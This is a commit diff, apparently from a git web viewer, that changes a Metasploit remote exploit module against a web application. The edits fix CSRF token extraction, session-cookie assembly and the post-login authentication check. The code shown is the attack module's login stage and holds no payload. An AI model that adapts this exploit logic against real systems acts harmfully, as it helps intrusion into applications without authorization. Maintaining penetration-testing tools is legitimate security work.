Fix auth check and cookie handling
parent
025315e4e4
commit
a043d3b456
|
@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
if (response.body !~ /"token"\s*value="([^"]*)"/)
|
||||
fail_with(Exploit::Failure::NotFound, "Couldn't find token and can't continue without it. Is URI set correctly?")
|
||||
fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
|
||||
else
|
||||
print_good("Retrieved token")
|
||||
end
|
||||
|
@ -134,17 +134,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
|
||||
end
|
||||
|
||||
if login.code != 302
|
||||
fail_with(Exploit::Failure::NotFound, "Authentication failed.")
|
||||
else
|
||||
print_good("Authentication successful")
|
||||
end
|
||||
|
||||
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
|
||||
|
||||
cookie = ""
|
||||
cookie_names.each do |name|
|
||||
cookie << login.get_cookie(name) << " "
|
||||
c = login.get_cookie(name)
|
||||
cookie << c << " " unless c.nil?
|
||||
end
|
||||
|
||||
login_check = send_request_cgi({
|
||||
'uri' => uri('index.php'),
|
||||
'vars_get' => { 'token' => token },
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if login_check.body =~ /Welcome to/
|
||||
fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
|
||||
else
|
||||
print_good("Authentication successful")
|
||||
end
|
||||
|
||||
db = rand_text_alpha(3+rand(3))
|
||||
|
|
Loading…
Reference in New Issue